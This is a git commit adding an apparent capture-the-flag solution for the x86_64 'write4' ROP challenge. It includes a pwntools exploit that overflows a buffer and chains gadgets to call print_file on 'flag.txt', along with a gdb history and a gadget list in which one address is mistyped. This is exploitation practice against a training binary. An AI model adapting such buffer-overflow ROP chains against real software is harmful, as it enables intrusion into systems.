From 3f0a1e64c7e7b410ad5f4e2024cd692536389449 Mon Sep 17 00:00:00 2001 From: Brett Weiland Date: Wed, 16 Dec 2020 17:45:09 -0600 Subject: new file: x86_64/write4/exploit.py new file: x86_64/write4/useful_gadgets --- x86_64/write4/.exploit.py.swp | Bin 0 -> 12288 bytes x86_64/write4/.gdb_history | 197 ++++++++++++++++++++++++++++++++++++++ x86_64/write4/.useful_gadgets.swp | Bin 0 -> 12288 bytes x86_64/write4/exploit.py | 19 ++++ x86_64/write4/stest | 2 + x86_64/write4/useful_gadgets | 19 ++++ 6 files changed, 237 insertions(+) create mode 100644 x86_64/write4/.exploit.py.swp create mode 100644 x86_64/write4/.gdb_history create mode 100644 x86_64/write4/.useful_gadgets.swp create mode 100755 x86_64/write4/exploit.py create mode 100644 x86_64/write4/stest create mode 100644 x86_64/write4/useful_gadgets (limited to 'x86_64/write4') diff --git a/x86_64/write4/.exploit.py.swp b/x86_64/write4/.exploit.py.swp new file mode 100644 index 0000000..5602feb Binary files /dev/null and b/x86_64/write4/.exploit.py.swp differ diff --git a/x86_64/write4/.gdb_history b/x86_64/write4/.gdb_history new file mode 100644 index 0000000..75b327b --- /dev/null +++ b/x86_64/write4/.gdb_history @@ -0,0 +1,197 @@ +run < stest +exit +quit +break pwnme +run +context +nexti +quit +exit +quit +quit +continue +nexti +break pwnme+133 +break *pwnme+133 +nexti +nexti +nexti +exit +quit +quit +continue +quit +continue +q +continue +quit +continue +context +nexti +quit +q +nexti +continue +nexti +nexti +stepi +info reg +context +stepi +exit +quit +quit +exit +quit +quit +exit +quit +quit +quit +continue +info reg +q +continue +context +stepi +stepi +continue +context +continue +quit +continue +context +continue +nexti +stepi +quit +continue +context +stepi +return +stepi +ret +return +continue +quit +continue +break print_file +continue +break print_file +continue +stepi +nexti +info reg +context +print errno +stepi +nexti +continue +q +continue +context +stepi +info reg +context +nexti +info reg +q +continue +context +q +continue +context +continue +stepi +return +context +nexti +stepi +continue +q +continue +quit +continue +continue +nexti +quit +quit +continue +context +stepi +info reg +context +q +continue +continue +q +continue +context +continue +quit +continue +context +continue +nexti +stepi +info reg r14 +stepi +info reg r14 +stepi +info reg r15 +stepi +quit +cotinue +continue +context +continue +continue +q +run +continue +context +continue +continue +q +continue +nexti +stepi +info reg r14 +info reg r15 +x/x $r14 +stepi +x/x $r14 +stepi +x/x $r14 +stepi +quit +continue +stepi +return +nexti +stepi +quit +continue +nexti +nexti +stepi +continue +quit +stepi +continue +stepi +nexti +print .init_array +x 0x0000000000600df0 + 0x00000df0 +x/s 0x0000000000600df0 + 0x00000df0 +quit +continue +stepi +info reg +q +continue +stepi +stepi +stepi +stepi +quit diff --git a/x86_64/write4/.useful_gadgets.swp b/x86_64/write4/.useful_gadgets.swp new file mode 100644 index 0000000..f89dc3e Binary files /dev/null and b/x86_64/write4/.useful_gadgets.swp differ diff --git a/x86_64/write4/exploit.py b/x86_64/write4/exploit.py new file mode 100755 index 0000000..f8b294e --- /dev/null +++ b/x86_64/write4/exploit.py @@ -0,0 +1,19 @@ +#!/usr/bin/env python3 +from pwn import * + +prog = process('./write4') +payload = b'' +for c in range(40): + payload += b'a' + +payload += p64(0x0000000000400690) # pop r14, pop r15, ret +payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section +payload += b"flag.txt" # our string (duh) +payload += p64(0x0000000000400628) # mov qword ptr [r14], r15 ; ret +payload += p64(0x0000000000400693) # pop rdi; ret +payload += p64(0x0000000000600df0 + 0x00000df0) # addr of init_array section +payload += p64(0x0000000000400510) # print_file@plt +payload += b"\n" +prog.sendline(payload) +print(str(prog.recv(), 'UTF-8')) +prog.close() diff --git a/x86_64/write4/stest b/x86_64/write4/stest new file mode 100644 index 0000000..1b35584 --- /dev/null +++ b/x86_64/write4/stest @@ -0,0 +1,2 @@ + +  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcd \ No newline at end of file diff --git a/x86_64/write4/useful_gadgets b/x86_64/write4/useful_gadgets new file mode 100644 index 0000000..09c0849 --- /dev/null +++ b/x86_64/write4/useful_gadgets @@ -0,0 +1,19 @@ +0x000000000040068d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret + +0x0000000000400690 : pop r14 ; pop r15 ; ret +0x0000000000400628 : mov qword ptr [r14], r15 ; ret + +0x000000000040069) : pop rdi; ret + + + + + +0x0000000000400510 : print_file@plt +0x0000000000600df0 : addr of init array + +we should write to .init_array .fini_array + + + + -- cgit v1.2.3